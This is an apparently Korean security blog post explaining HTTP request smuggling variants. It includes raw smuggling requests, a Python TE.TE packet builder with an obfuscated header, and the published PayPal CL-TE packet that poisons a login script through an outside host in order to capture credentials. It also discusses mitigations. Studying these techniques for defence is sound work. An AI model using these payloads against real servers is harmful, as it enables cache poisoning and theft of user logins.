Request Smuggling
불특정 다수의 사용자로부터 받은 HTTP 요청을 프록시와 웹서버가 처리하는 과정에서 사용자가 요청한 HTTP 패킷을 조작할 수 있는 공격이다. 웹서버는 클라이언트의 요청을 직접 처리하는 것이 아니라 메인서버의 과부하를 방지하기 위해 LB나 리버시 프록시 등 중간에서 요청을 처리하여 전달한다.
이 과정에서 HTTP/1.1에서는 여러개의 요청을 연속적으로 전달할 수 있도록 지원하는데 패킷을 받아 처리하는 과정에서 Content-Length, Transfer-Encoding 에 대한 처리를 서로 다르게 하여 패킷의 시작과 끝부분을 다르게 해석하는 문제가 발생한다.
CL.CL
여러 Content-Length 헤더가 존재하거나 유효하지 않은 값일 경우 400 상태 코드로 응답해야한다. 두 개의 Content-Length를 삽입하여 전송하면 다음과 같다.
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 5
12345GPOST / HTTP/1.1
Host: example.com
…
프론트엔드는 파란색과 주황색을 백엔드로 전달하여 응답을 하기 전에 파란색 내용만 파싱한다. 그러면 주황색(G)가 서버에 남아있게 되고 다음에 오는 패킷(녹색)의 앞에 연결되어 초록색 요청의 메소드(POST)를 조작한다. 이것이 Smuggling의 기본 원리이며, HTTP의 파라미터 종류에 따라 TE.Cl, TE.TE 등 여러가지 방법이 존재한다.
TE.CL
tecl 은 메소드를 바꾸지 못한다. Trasfer Encoding이기 때문에 무조건 0\r\n\r\n으로 끝내야한다. G를 붙이더라도 G\r\n\r\n이 되기 때문에 하나의 HTTP 패킷이 된다.
공격 방식은 G가 아닌 정상적인 패킷을 파라미터에 넣는 방법으로 공격을 수행한다.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
프론트엔드는 0\r\n 기준으로 분리하여 패킷을 파싱하기 때문에 전체를 백엔드로 보내고, 백엔드는 Content-Length: 3를 참조하기 때문에 3개 문자, 8\r\n 까지 처리하고 나머지는 백엔드에 대기한다.
TE.TE
TETE는 CLTE와 유사하다.
Transfer-Encoding 둘 중 하나를 정상적인 처리를 못하도록 하는 것이다.
TE는 0\r\n\r\n을 끝으로 받는데 종료 패킷 직전에 second_packet을 전송한다.
HAProxy를 사용하여 제작, TE에 비정상적인 값을 넣어서 전송한다.
second_packet = b"G"
packet = b"POST / HTTP/1.1\r\n"
packet += b"Host: 192.168.47.149\r\n"
packet += b"Content-Length: "+str(len(second_packet)+11).encode()+b"\r\n"
packet += b"Transfer-Encoding: \x0bchunked\r\n"
packet += b"\r\n"
packet += b"1\r\n" packet += b"A\r\n"
packet += b"0\r\n" packet += b"\r\n"
packet += second_packet
결과에서 GET이 아닌 GGET 메소드가 전달되었기 때문에 요청이 제대로 처리되지 않았다.
PayPal Smuggling 취약점
페이팔 홈페이지에서 HTTP Smuggling 취약점이 발생했었다. HTTP Smuggling을 통해 JavaScript 파일을 가로챌 수 있었는데 로그인 페이지에 취약점이 존재하여 사용자의 계정정보(ID, Password)를 공격자의 서버로 리다이렉트 시킬 수 있는 취약점이다.
두 개의 호스트 헤더를 이어붙여서 서버에 요청을 보낸다. 첫 번째 Host 헤더의 파라미터 구분자('?')로 인해서 자바 스크립트 파일을 가로챌 수 있다.
전체 공격 원리는 다음과 같다. 가로챈 자바 스크립트 파일은 로그인 페이지에서 사용되는 파일이다. 패스워드를 공격자의 도메인에서 보기 위해서는 리다이렉트(redirect)를 해야한다. 하지만 로그인 페이지에서의 리다이렉트는 CSP에 의해서 차단된다. 하지만 페이팔의 로그인 페이지는 다른 페이지를 iframe으로 호출한다. 이 페이지들은 paypal.com 페이지에서 볼 수 있으며 SCP가 적용되어 있지 않아 내용을 제어할 수 있다. 이 페이지에서 로그인 정보인 아이디와 패스워드를 가져올 수 있는 것이다. iframe 페이지 중 paypal.com/us/gifts를 사용하여 클라이언트 iframe location을 변경하여 다시 하이재킹하여 악성 자바스크립트가 있는 페이지로 연결한다. 공격자가 직접 c.paypal/fb.js 를 포이즈닝하여 중간서버에 보관하도록 해야한다.
'/us/gifts' 경로와 /i 경로를 보면 GET, POST 메소드가 사용 가능하며 /i 경로에서는 js를 인자로 받아서 템플릿을 반환하고 있는 것을 볼 수 있다. 이 경로에서 악성자바스크립트를 삽입할 수 있다.
POST /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1
Host: c.paypal.com
Content-Length: 61
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
GET /webstatic HTTP/1.1
Host: skeletonscribe.net?
X: XGET /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1
Host: c.paypal.com
Connection: close
HTTP/1.1 302 Found
Location: http://skeletonscribe.net?, c.paypal.com/webstatic/
블랙햇에서 발표된 공격 패킷이다. 페이팔의 HTTP Smuggling에는 CL-TE 공격 기법이 사용되었다. 붉은 배경이 공격자가 전송한 코드이며, Content-Length를 61로 설정했기 때문에 GET 이후의 파라미터는 중간 서버에 저장되어 있다가 다음 사용자의 요청이 올 때 앞부분에 덧붙여져서 패킷으로 전송된다.
전체 길이가 61이어야 한다. 서버는 TE 0 뒤에 \r\n \r\n 이 있기 때문에 끊긴다.
Get 부터 남는데 이때 자바스크립트 파일을 요청한다. 남아있는 Host가 두 개가 되는데 두개를 읽게 되면 ,(콤마) 가 생긴다. 이를 바탕으로 공격 코드를 작성한다.
결론
HTTP Smuggling 공격의 취약점은 모호한 클라이언트의 요청에 대해 프록시와 백엔드 서버의 처리가 불명확하다는 점에서 출발한다. CSRF와 공격 기법이 유사하지만 피해자의 클라이언트와 상호작용하지 않는다는 점에서 차이가 있다. 대응방법으로는 HTTP2 로 업그레이드 하거나 서버와 프록시의 요청에 대한 응답을 통일시키는 것이지만 대규모 보수 작업이 수반되어야 하므로 현실성이 떨어진다. portswigger blog에서는 POST나 GET 요청으로 보낼때에는 서버로 보내는 파라미터는 그대로 보존하는 것이 좋다. 여러 개의 백엔드 서버를 가지고 있어서 프론트엔드의 각각의 요청 방법, 메소드, HTTP 헤더를 보고 패킷을 어떻게 처리할 것인지 결정한다. 만약 사용자의 요청이 다른 곳의 백엔드로 리다이렉트 된다면, 공격을 의심하고 패킷을 점검하면 된다. 페이팔의 경우에는 스트리밍 계열 서비스가 없어 Transfer-Encoding 처리가 불필요하기 때문에 이 패킷이 들어오면 reject하는 방법으로 문제를 해결하였다.
공격자의 입장에서는 Content-Length를 정확하게 지정해줘야 의도한 목적지로 패킷을 리다이렉트 할 수 있음에 유의해야 한다.
REFERENCES
- https://hackerone.com/reports/488147
- "HTTP Desync Attacks: Request Smuggling Reborn" https://www.youtube.com/watch?v=_A04msdplXs
- https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
- https://paper.seebug.org/1049/#4-http-smuggling-attack-examplecve-2018-8004
- https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning
'Security > Network' 카테고리의 다른 글
[SDN] mininet 환경 구성하기, 설치 (0) | 2020.12.17 |
---|---|
[GNS3] EIGRP 라우팅 프로토콜 (0) | 2020.12.01 |
[GNS3] RIP 라우팅 프로토콜 (0) | 2020.11.30 |
[GNS3] OSPF3 라우팅 프로토콜 (0) | 2020.11.28 |
IPv6 Extension Header, Route Header 패킷 분석 (0) | 2020.11.24 |